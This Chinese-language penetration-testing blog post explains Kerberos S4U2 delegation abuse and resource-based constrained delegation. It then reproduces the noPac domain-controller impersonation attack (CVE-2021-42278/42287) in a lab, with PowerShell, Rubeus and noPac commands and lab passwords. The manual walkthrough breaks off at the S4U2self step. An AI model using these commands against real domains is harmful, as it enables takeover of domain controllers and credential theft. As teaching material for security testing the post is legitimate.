【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权
【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权
文章目录
- 【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权
- @[toc]
- 一:Kerberos 委派攻击原理之 S4U2利用
- 1.1原理
- 1.2两种扩展协议
- **S4U2Self (Service for User to Self)**
- **S4U2Proxy (Service for User to Proxy)**
- 1.3 S4U2Self利用过程
- 1.3.1前提条件
- 1.3.2利用步骤
- 1.4S4U2Proxy利用过程
- 1.4.1利用前提条件
- 1.4.2详细利用步骤(Rubeus)
- 1.5:**基于资源的约束委派(RBCD)利用**
- 二:CVE-2021-42278-Name impersonation&CVE-2021-42287-KDC bamboozling漏洞复现
- 2.1概念说明
- 2.2漏洞复现
- (1)noPac 利用
- (2)手动注入分析
- **修改计算机账户的 `sAMAccountName`(推荐)**
文章目录
- 【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权
- @[toc]
- 一:Kerberos 委派攻击原理之 S4U2利用
- 1.1原理
- 1.2两种扩展协议
- **S4U2Self (Service for User to Self)**
- **S4U2Proxy (Service for User to Proxy)**
- 1.3 S4U2Self利用过程
- 1.3.1前提条件
- 1.3.2利用步骤
- 1.4S4U2Proxy利用过程
- 1.4.1利用前提条件
- 1.4.2详细利用步骤(Rubeus)
- 1.5:**基于资源的约束委派(RBCD)利用**
- 二:CVE-2021-42278-Name impersonation&CVE-2021-42287-KDC bamboozling漏洞复现
- 2.1概念说明
- 2.2漏洞复现
- (1)noPac 利用
- (2)手动注入分析
- **修改计算机账户的 `sAMAccountName`(推荐)**
一:Kerberos 委派攻击原理之 S4U2利用
1.1原理
S4U2Self(Service For User to Self)是 Kerberos 协议的一种委托机制,允许服务(Service)代表用户(User)自身获取用户的票证(Ticket)。这个机制在 Windows 环境中广泛应用于网络服务和应用程序,以便在用户访问需要身份验证的资源时,能够以用户的身份获取必要的票证,而无需用户交互地提供凭证。正因有了委托机制才使得攻击者以某个合法用户的身份请求特定服务的票证,然后利用漏洞伪造这些票证,从而获取到更高的权限。
当 Kerberos 无约束委派在服务器上启用,服务器托管了在 TGS-REQ (步骤3)中引用的服务主体名称中指定的服务时,DC 域控制器将用户 TGT 的一个副本放到服务票证中。 当向服务器提供用户的服务票证(TGS)以进行服务访问时,服务器打开 TGS 并将用户的 TGT 放入 LSASS 中供后续使用。 此时,应用程序服务器就可以无限制地假冒该用户
1.2两种扩展协议
S4U2Self (Service for User to Self)
用途
允许服务代表用户获取 该用户自己的服务票据(ST),而无需用户密码或交互。
典型场景:
- 用户通过非Kerberos方式(如表单认证)登录后,服务需获取用户的Kerberos票据。
- 约束委派/无约束委派攻击中模拟用户身份。
关键特性
- 无需用户密码:服务使用自己的TGT请求用户的ST。
- 票据加密:返回的ST使用 服务账户的密钥 加密(而非用户的)。
- 权限要求:服务账户需配置 “TrustedToAuthForDelegation”(无约束委派)或约束委派权限。
请求流程
- 服务向KDC发送请求,包含:
- 服务账户的TGT
- 目标用户的UPN(如
user@domain.com
) - 目标SPN(如
http/service.domain.com
)
- KDC返回加密的ST(可被服务解密使用)。
S4U2Proxy (Service for User to Proxy)
用途
允许服务在已获得用户授权后,代表用户获取 其他服务的票据(跨服务委派)。
典型场景:
- 三层应用架构中(如Web→DB),Web服务代表用户访问DB服务。
- 约束委派攻击中横向移动。
关键特性
- 需用户授权:需先通过S4U2Self获取用户的ST(作为"证据")。
- 约束限制:仅能委派到 msDS-AllowedToDelegateTo 中指定的服务。
- 票据转发:最终ST仍以用户身份加密,但由服务代理请求。
请求流程
- 服务通过S4U2Self获取用户的ST(如
user→http/service
)。 - 服务向KDC发送请求,包含:
- 服务账户的TGT
- 用户的ST(作为授权证据)
- 目标SPN(如
cifs/db.domain.com
)
- KDC返回用户对目标服务的ST(如
user→cifs/db
)。
1.3 S4U2Self利用过程
1.3.1前提条件
-
需要拥有一个具有 SPN (Service Principal Name) 的服务账户
-
该服务账户需要被授予 “TrustedToAuthForDelegation” 权限
1.3.2利用步骤
(1)获取服务账户凭据
- 通过密码、哈希或 Kerberos 票据获取服务账户的访问权限
(2)请求 S4U2Self 票据
- 使用服务账户的 TGT (Ticket Granting Ticket)
- 为目标用户请求服务票据,指定服务账户的 SPN
- 使用
KRB_TGS_REQ
请求,包含PA-FOR-USER
结构
①处理响应
- 接收 KDC 返回的服务票据
- 票据将加密为服务账户的密钥,而不是目标用户的密钥
②使用票据
- 可以使用该票据访问目标服务
- 服务会认为请求来自目标用户
可以获得访问权限
1.4S4U2Proxy利用过程
1.4.1利用前提条件
- 服务账户:拥有SPN的账户
- 约束委派权限:
- 账户配置了
msDS-AllowedToDelegateTo
属性 - 可以委派到指定的服务(如CIFS、LDAP等)
- 账户配置了
- 有效的TGT:服务账户的Kerberos票据
- 用户授权:
- 需要用户的TGS(传统约束委派)
- 或配置了基于资源的约束委派(Resource-based Constrained Delegation)
1.4.2详细利用步骤(Rubeus)
(1) 识别具有约束委派权限的账户
使用PowerShell或ldapsearch查询域中配置了约束委派的账户
(2)获取服务账户的TGT
使用已获取的服务账户凭据请求TGT
(3)执行S4U2Proxy攻击
(4)使用获取的票据
如果使用了/ptt
参数,票据会自动注入当前会话。否则可以手动注入,然后可以使用该票据访问目标服务。
1.5:基于资源的约束委派(RBCD)利用
当配置了基于资源的约束委派时:
(1) 检查目标计算机的msDS-AllowedToActOnBehalfOfOtherIdentity
Get-NetComputer dc01 | Select-Object -Property msDS-AllowedToActOnBehalfOfOtherIdentity
(2) 配置新的委派关系
$comp = Get-ADComputer dc01
$sid = (Get-ADComputer attackercomputer).SID
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)
Set-ADComputer dc01 -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDbytes}
(3) 执行完整的S4U攻击链
Rubeus.exe s4u /user:attackercomputer$ /rc4:<NTLM> /impersonateuser:Administrator /msdsspn:cifs/dc01 /altservice:http /ptt
二:CVE-2021-42278-Name impersonation&CVE-2021-42287-KDC bamboozling漏洞复现
2.1概念说明
机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。
创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。过程如上图所示。
允许攻击者任意修改计算机帐户sAMAccountName字段,进而模拟域控申请票据。
加入域的机器账户默认由结尾,samAccountName默认和域机器名一致。但DC没有对sAMAccountName属性进行合法性判断,导致删除sAMAccountName结尾的$"照样可以以机器用户身份申请TGT票据。
配合 CVE-2021-42278 使用,创建与域控机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self 申请TGS Ticket,接着域控在 TGS_REP 阶段,这个账户不存在的时候,DC会使用自己的密钥加密 TGS Ticket ,提供一个属于该账户的 PAC,然后我们就得到了一个高权限ST。
2.2漏洞复现
域控
域名:test.com
账户:administrator
密码:QAX@123
计算机名:WIN-ISB0SNPKEPI
普通域用户
账户:s4u2
密码:QAX@123
(1)noPac 利用
检查是否存在漏洞
noPac.exe scan -domain test.com -user s4u2 -pass QAX@123
noPac.exe -domain test.com -user s4u2 -pass QAX@123 /dc WIN-ISB0SNPKEPI.test.com /mAccount demohb /mPassword QAX@123 /service cifs /ptt
[!NOTE]
参数 说明
-domain htb.local 目标域名。
-user domain_user 普通域用户账号(需具备创建计算机账户的权限)。
-pass ‘Password123!’ 对应用户的密码。
/dc dc02.htb.local 指定域控制器的主机名。
/mAccount demo123 攻击者创建的恶意计算机账户名称(用于名称伪装)。
/mPassword Password123! 恶意计算机账户的密码。
/service cifs 目标服务(通常为 cifs 以访问文件共享)。
/ptt 将生成的票据注入当前会话(Pass-the-Ticket)。
获得票据信息以及访问权限:
(2)手动注入分析
具体流程:
-
首先创建一个机器账户,可以使用 impacket 的
addcomputer.py
或是powermad
addcomputer.py
是利用SAMR协议
创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除 -
清除机器账户的
servicePrincipalName
属性 -
将机器账户的
sAMAccountName
,更改为DC的机器账户名字,注意后缀不带$ -
为机器账户请求TGT
-
将机器账户的
sAMAccountName
更改为其他名字,不与步骤3重复即可 -
通过S4U2self协议向DC请求ST
-
进行 DCsync Attack
普通域账户:s4u2用户是一个普通的域用户:
新增机器账户:域用户默认可以新建10个机器账户
清除SPN信息
重设机器名称
[!NOTE]
修改计算机账户的
sAMAccountName
(推荐)适用场景:
- 你希望计算机账户在 AD 中显示不带
$
的名称(但实际 Kerberos 认证仍会使用COMPUTERNAME$
)步骤:
- 打开
Active Directory 用户和计算机
(dsa.msc
)- 找到目标计算机账户(默认在
Computers
容器或自定义 OU)- 右键 → 属性 → 属性编辑器
- 找到
sAMAccountName
,默认值类似COMPUTERNAME$
- 修改为不带
$
的名称(如COMPUTERNAME
)- 点击确定保存
注意:
- 修改后,该计算机仍然需要使用
COMPUTERNAME$
进行 Kerberos 认证($
是系统必需的)。- 只是
sAMAccountName
显示变化,不影响实际功能。
修改计算机的名字
可以看到已经修改完成了
Request TGT (请求TGT)
./Rubeus.exe asktgt /user:demo1 /password:QAX@123 /domian:test.com /dc:WIN-ISB0SNPKEPI.test.com /nowrap
[!NOTE]
参数 值 说明 /user
Demo1 目标计算机账户 /password
QAX@123 计算机账户的密码(可能无效) /domain
test.com 目标域名 /dc
WIN-ISB0SNPKEPI.test.com 域控制器主机名(需确保可解析) /nowrap
- 输出票据不换行
Request S4U2self(获取票据)
相关文章:
【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权
【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权 文章目录 【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权[toc]一:Kerberos 委派攻击原理之 S4U2利用1.1原理1.2两种扩展协议**S4U2Self (Service for User to Self)****S4U2Proxy (Service for User to Proxy)*…...
Linux grep -r 查找依赖包是否存在依赖类 Class
方法一:通过 Linux ,grep -r ClassPath 命令 grep -f org.apache.kafka.connect.source.SourceRecord在 jar 包所在 lib 或者 lib/plugins 目录下执行,grep -r, flink-sql-connector-sqlserver-cdc-3.3.0.jar 中此 kafka Source…...
Qt笔记---》.pro中配置
文章目录 1、概要1.1、修改qt项目的中间文件输出路径和部署路径1.2、Qt 项目模块配置1.3、外部库文件引用配置 1、概要 1.1、修改qt项目的中间文件输出路径和部署路径 (1)、为解决 “ 输出文件 ” 和 “ 中间输出文件 ”全部在同一个文件夹下的问题&am…...
D. Eating【Codeforces Round 1005 (Div. 2)】
D. Eating 题意 有 n n n 个史莱姆排成一行,第 i i i 个史莱姆的权重为 w i w_i wi。若史莱姆 i i i 的权重满足 w i ≥ w j w_i \geq w_j wi≥wj,则它可以吃掉史莱姆 j j j;之后,史莱姆 j j j 会消失,…...
猫眼浏览器:简约安全,极速浏览
猫眼浏览器是一款以简约安全为目标的Chrome内核增强版浏览器,基于最新的Chromium开源内核进行二次优化开发。它不仅继承了Chrome浏览器的高速浏览体验,还通过增强的隐私保护设置,让用户远离被追踪和广告的烦恼。无论是日常浏览、信息查询还是…...
安全扫描之 Linux 杀毒软件 Clamav 安装
文章目录 背景Clamav 简介安装使用1、安装epel-release2、Clamav安装3、成功安装4、更新病毒库5、执行扫描6、结果分析7、常见问题 背景 最近在做HVV准备工作,应要求需要在 Linux 服务器上安装杀毒软件,以此文记录下Clamav 安装过程。 Clamav 简介 Cl…...
排序算法详解
排序算法全面解析 排序算法是计算机科学中最基础也最重要的算法之一。它将一组数据(例如数字列表、字符串集合)按照特定的顺序(升序或降序)重新排列。高效的排序算法对于优化其他算法(如搜索和合并算法)的…...
[特殊字符] GSG 插件 + 渲染 101:C4D 渲染效率革命!
一、GSG 插件:C4D 创作的「超级加速器」 灰猩猩(GSG)插件是 C4D 设计师的刚需工具: Light Kit Pro:1 分钟生成专业灯光预设,告别手动布光烦恼GorillaCam:自动添加电影级相机运动,镜…...
centos中postfix的作用
/usr/libexec/postfix/master 是 Postfix 邮件服务器的主进程,qmgr 和 pickup 是 Postfix 的子进程。这些进程本身是正常的,但如果你怀疑服务器被用于钓鱼活动,需要进一步检查 Postfix 的配置和日志,确保它没有被滥用。 1. 检查 P…...
tocmat 启动怎么设置 jvm和gc
在生产环境中部署 Java Web 应用时,我们经常需要给 Tomcat 设置 JVM 参数和 GC 策略,以提高性能、稳定性和可观察性。以下是完整教程: 一、Tomcat 设置 JVM 启动参数的方式 1. 修改 startup 脚本(推荐) 以 Linux 系统…...
【工奥阀门科技有限公司】签约智橙PLM
近日,工奥阀门科技有限公司正式签约了智橙泵阀行业版PLM。 忠于质量,臻于服务,精于研发 工奥阀门科技有限公司(以下简称工奥阀门)坐落于浙江永嘉,是一家集设计、开发、生产、销售、安装、服务为一体的阀门…...
Axure设计之轮播图——案例“一图一轮播”
轮播图是一种常见且实用的组件,用于展示多张图片或内容,同时节省页面空间。在Axure中,通过动态面板和交互设置,我们可以轻松实现一个“一图一轮播”的效果,即每次只展示一张图片,并通过按钮或自动切换来浏览…...
可视化图解算法39: 输出二叉树的右视图
1. 题目 描述 请根据二叉树的前序遍历,中序遍历恢复二叉树,并打印出二叉树的右视图 数据范围: 0≤n≤10000 要求: 空间复杂度 O(n),时间复杂度 O(n) 如输入[1,2,4,5,3],[4,2,5,1,3]时,通过前序遍历的结…...
数据库基础复习笔记
数据库 相关概念 名称全称检查数据库存储数据的仓库,数据是有组织的进行存储DataBase(DB)数据库管理系统操作和管理数据库的大型软件DataBase Management System(DBMS)SQL操作关系型数据库的编程语言,定义了一套操作关系型数据库…...
鸿蒙OSUniApp 实现一个精致的日历组件#三方框架 #Uniapp
使用 UniApp 实现一个精致的日历组件 前言 最近在开发一个约会小程序时,需要实现一个既美观又实用的日历组件。市面上虽然有不少现成的组件库,但都不太符合我们的设计需求。于是,我决定从零开始,基于 UniApp 自己实现一个功能完…...
Kotlin 协程实战:实现异步值加载委托,对值进行异步懒初始化
在实际开发中,我们经常遇到这样的场景。 需要立即初始化但计算成本高昂的值 val expensiveValue calculateExpensiveValue() 可能引发阻塞的初始化操作 val resource loadResourceFromNetwork()这些场景通常需要满足以下需求: 异步加载:…...
MySQL增删查改进阶
文章目录 一、数据库备份二、数据库约束2.1 NOT NULL2.2 UNIQUE:唯一约束2.3 DEFAULT:默认值约束 一、数据库备份 在MySQL当中,数据库是如何备份的呢?主要通过三种方式进行备份: 数据库最终都是存储在硬盘上…...
Tensorflow2保存和加载模型
1、model.save() and model.load() 此种方法可保存模型的结构、参数等内容。加载模型后无需设置即可使用! 保存模型: model.save(my_model.h5) 加载模型: # 加载整个模型 loaded_model tf.keras.models.load_model(my_model.h5) 注意&…...
通过泛域名解析把二级域名批量绑定到wordpress的指定页面
通过泛域名解析将二级域名批量绑定到WordPress的指定页面,需要完成两个主要步骤:一是设置泛域名解析,二是配置服务器和WordPress以实现二级域名到指定页面的映射。以下是详细的操作方法: 1. 设置泛域名解析 在域名注册商的管理后…...
BGP联邦+反射器实验
一、实验拓扑 二、IP规划 骨干: 172.16.0.0/30 ---- R2-R3 172.16.0.4/30 ---- R3-R4 172.16.0.8/30 ---- R4-R7 172.16.0.12/30 ---- R6-R7 172.16.0.16/30 ---- R5-R6 172.16.0.20/30 ---- R2-R5 非骨干: 172.16.2.0/24 ---- R2的环回 2.2.2.2/32 17…...
3天云南旅游规划
云南的主要旅游城市和景点。昆明作为云南的省会,拥有丰富的自然景观和适合短途游玩的地方。 第一天可以安排在昆明市内和周边,方便游玩。 第二天,可以考虑去大理,这是云南的著名旅游城市,距离昆明大约2小时的车程。大理…...
SCDN能够运用在物联网加速当中吗?
在当今的科技化时代当中,物联网已经广泛渗透在各个领域行业当中,随着物联网规模的不断扩大,数据信息的传输速度和网络稳定性成为企业需要重视的两点因素,而SCDN也成为安全内容分发网络作为一种融合了内容加速和安全防护的技术&…...
Go语言八股之Mysql基础详解
💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 非常期待和您一起在这个小…...
计算机视觉----基础概念、卷积
一、概述 1.计算机视觉的定义 计算机视觉(Computer Vision)是一个跨学科的研究领域,主要涉及如何使计算机能够通过处理和理解数字图像或视频来自动进行有意义的分析和决策。其目标是使计算机能够从视觉数据中获取高层次的理解,类似于人类的视觉处理能力。 具体来说,计算机…...
Problem E: List练习
1.题目描述 运用List完成下面的要求: 1) 创建一个List,在List中增加三个工人,基本信息如下: 姓名 年龄 工资 Tom 18 3000 Peter 25 3500 Mark 22 3200 2) 插入一个工人,信息为:姓名:Robert࿰…...
12-串口外设
一、串口外设的基本概述 1、基本定义 串口通信,通过在通信双方之间以比特位(bit)的形式逐一发送或接收数据,实现了信息的有效传递。其通信方式不仅简单可靠,而且成本很低。 2、stm32的串口 下面是两个MCU的数据交互&…...
C++(2)
二、面向对象基础 1. 类与对象 1.1 核心概念 类(Class) 定义:抽象描述具有共同特征和行为的对象模板本质:代码复用的蓝图,定义数据(属性)与操作(行为࿰…...
GMT之Bash语言使用
GMT的操作有自己的逻辑和“命令”,但GMT是可以用Bash语言控制的,所以常常以.sh为后缀写GMT程序。 GMT程序运行步骤如下: 采用cd ,定位到指定文件夹;以sh ***.sh运行GMT,得到结果。 另外,遇到…...
半成品的开源双系统VLA模型,OpenHelix-发表于2025.5.6
半成品的开源双系统VLA模型,OpenHelix https://openhelix-robot.github.io/ 0. 摘要 随着OpenVLA的开源,VLA如何部署到真实的机器人上获得了越来越多的关注,各界人士也都开始尝试解决OpenVLA的效率问题,双系统方案是其中一个非…...
fiftyone-dataset使用基础
1.创建dataset 将dataset写入数据库时,对于已有的dataset name会报错: 解决方法:指定覆盖写 添加参数overwriteTrue, 默认为False # 在写入数据集时,指定overwriteTrue,表示当dataset_name在数据库中已存在时&#…...
(1-4)Java Object类、Final、注解、设计模式、抽象类、接口、内部类
目录 1. Object类 1.1 equals 1.2 toString() 2.final关键字 3.注解 4. 设计模式 4.1 单例模式 4.1.1 饿汉式 4.1.3 饿汉式 VS 懒汉式 5. 抽象类&抽象方法 6. 接口 1. Object类 1.1 equals 重写Object 的equals方法,两种实现方式…...
强力巨彩谷亚推出专业智慧显示屏,满足多元场景需求
LED显示屏作为信息传播与视觉展示的关键载体,其性能和品质的提升备受关注。为响应市场对高品质显示的迫切需求,强力巨彩旗下专业智慧显示高端品牌谷亚G-ART,携多款行业领先水平的LED显示屏产品亮相,为用户带来专业、高效且节能的显…...
基于Spring AI与Hugging Face TGI构建高效聊天应用:从配置到实践全解析
基于Spring AI与Hugging Face TGI构建高效聊天应用:从配置到实践全解析 前言 在人工智能技术蓬勃发展的当下,大语言模型(LLM)的应用场景日益丰富。如何快速将 Hugging Face 生态中的强大模型部署为可通过 API 访问的服务&#x…...
MySQL视图:虚拟表的强大功能与应用实践
在数据库管理系统中,视图(View)是一种极其重要却常被忽视的功能。作为MySQL数据库的核心特性之一,视图为开发者和数据库管理员提供了数据抽象、安全控制和查询简化的强大工具。本文将全面探讨MySQL视图的概念、工作原理、创建与管理方法,以及…...
matlab插值方法(简短)
在MATLAB中,可以使用interp1函数快速实现插值。以下代码展示了如何使用spline插值方法对给定数据进行插值: x1 [23,56]; y1 [23,56]; X 23:1:56*4; Y interp1(x1,y1,X,spline);% linear、 spline其中,x1和y1是已知数据点,X是…...
【拥抱AI】Deer-Flow字节跳动开源的多智能体深度研究框架
最近发现一款可以对标甚至可能超越GPT-Researcher的AI深度研究应用,Deer-Flow(Deep Exploration and Efficient Research Flow)作为字节跳动近期开源的重量级项目,正以其模块化、灵活性和人机协同能力引发广泛关注。该项目基于 La…...
基于开源AI大模型与S2B2C生态的个人品牌优势挖掘与标签重构研究
摘要:在数字文明时代,个人品牌塑造已从传统经验驱动转向数据智能驱动。本文以开源AI大模型、AI智能名片与S2B2C商城小程序源码为技术载体,提出"社会评价-数据验证-标签重构"的三维分析框架。通过实证研究发现,结合第三方…...
2025年PMP 学习十二 第9章 项目资源管理
2025年PMP 学习十二 第9章 项目资源管理 序号过程过程组1规划资源管理规划2估算活动资源规划3获取资源执行4建设团队执行5管理团队执行6控制资源监控 项目资源管理,包括实物资源和团队资源。 文章目录 2025年PMP 学习十二 第9章 项目资源管理项目团队和 项目管理团…...
AI生成功能测试文档|测试文档
AI生成功能测试文档:链接直达 计算机功能测试文档撰写教程 链接直达:生成功能测试文档工具 一、文档概述 (一)文档目的 明确计算机功能测试的流程、方法和标准,确保测试的有效性和可靠性,为软件的质量评…...
Python 常用模块(八):logging模块
目录 一、引言:日志模块在项目开发中的重要性二、从 Django 日志配置看 Logging 模块的核心组成三、logging模块核心组件详解3.1 记录器Logger3.2 级别Level3.3 根记录器使用3.4 处理器Handler3.5 格式化器Formatter3.6 日志流3.7 日志示例 四、日志模块总结 一、引…...
入门OpenTelemetry——可观测性与链路追踪介绍
可观测性 什么是可观测性 可观察性(Observability)是从外部输出知识中推断所获得,可理解为衡量一个系统内部状态的方法。可观测性是一种能力,它能帮助你回答系统内部发生了什么——无需事先定义每种可能的故障或状态。系统的可观…...
c#队列及其操作
可以用数组、链表实现队列,大致与栈相似,简要介绍下队列实现吧。值得注意的是循环队列判空判满操作,在用链表实现时需要额外思考下出入队列条件。 设计头文件 #ifndef ARRAY_QUEUE_H #define ARRAY_QUEUE_H#include <stdbool.h> #incl…...
【Linux C/C++开发】轻量级关系型数据库SQLite开发(包含性能测试代码)
前言 之前的文件分享过基于内存的STL缓存、环形缓冲区,以及基于文件的队列缓存mqueue、hash存储、向量库annoy存储,这两种属于比较原始且高效的方式。 那么,有没有高级且高效的方式呢。有的,从数据角度上看,࿰…...
77. 组合【 力扣(LeetCode) 】
文章目录 零、原题链接一、题目描述二、测试用例三、解题思路四、参考代码 零、原题链接 77. 组合 一、题目描述 给定两个整数 n 和 k,返回范围 [1, n] 中所有可能的 k 个数的组合。 你可以按 任何顺序 返回答案。 二、测试用例 示例 1: 输入&…...
GpuGeek全栈AI开发实战:从零构建企业级大模型生产管线(附完整案例)
目录 背景一、算力困境:AI开发者的「三重诅咒」1.1 硬件成本黑洞1.2 资源调度失衡1.3 环境部署陷阱 二、三大核心技术突破GpuGeek的破局方案2.1 分时切片调度引擎(Time-Slicing Scheduler)2.2 异构计算融合架构2.3 AI资产自动化…...
LeetCode 热题 100_颜色分类(98_75_中等_C++)(技巧)(计数;双指针)
LeetCode 热题 100_颜色分类(98_75_中等_C) 题目描述:输入输出样例:题解:解题思路:思路一(计数):思路二(双指针): 代码实现代码实现&a…...
【前端】:单 HTML 去除 Word 批注
在现代办公中,.docx 文件常用于文档编辑,但其中的批注(注释)有时需要在分享或归档前被去除。本文将从原理出发,深入剖析如何在纯前端环境下实现对 .docx 文件注释的移除,并提供完整的实现源码。最后&#x…...
TTS-Web-Vue系列:Vue3实现内嵌iframe文档显示功能
🖼️ 本文是TTS-Web-Vue系列的新篇章,重点介绍如何在Vue3项目中优雅地实现内嵌iframe功能,用于加载外部文档内容。通过Vue3的响应式系统和组件化设计,我们实现了一个功能完善、用户体验友好的文档嵌入方案,包括加载状态…...
AWS CloudTrail日志跟踪启用
问题 启用日志管理。 步骤 审计界面,如下图: 点击创建跟踪,AWS云就会记录AWS账号在云中的操作。...
PHP 编程:现代 Web 开发的基石与演进
引言 PHP(Hypertext Preprocessor)自1995年诞生以来,已成为全球最流行的服务器端脚本语言之一。尽管近年来Node.js、Python等语言在特定领域崭露头角,但PHP仍占据着超过78%的网站市场份额(W3Techs数据)。本…...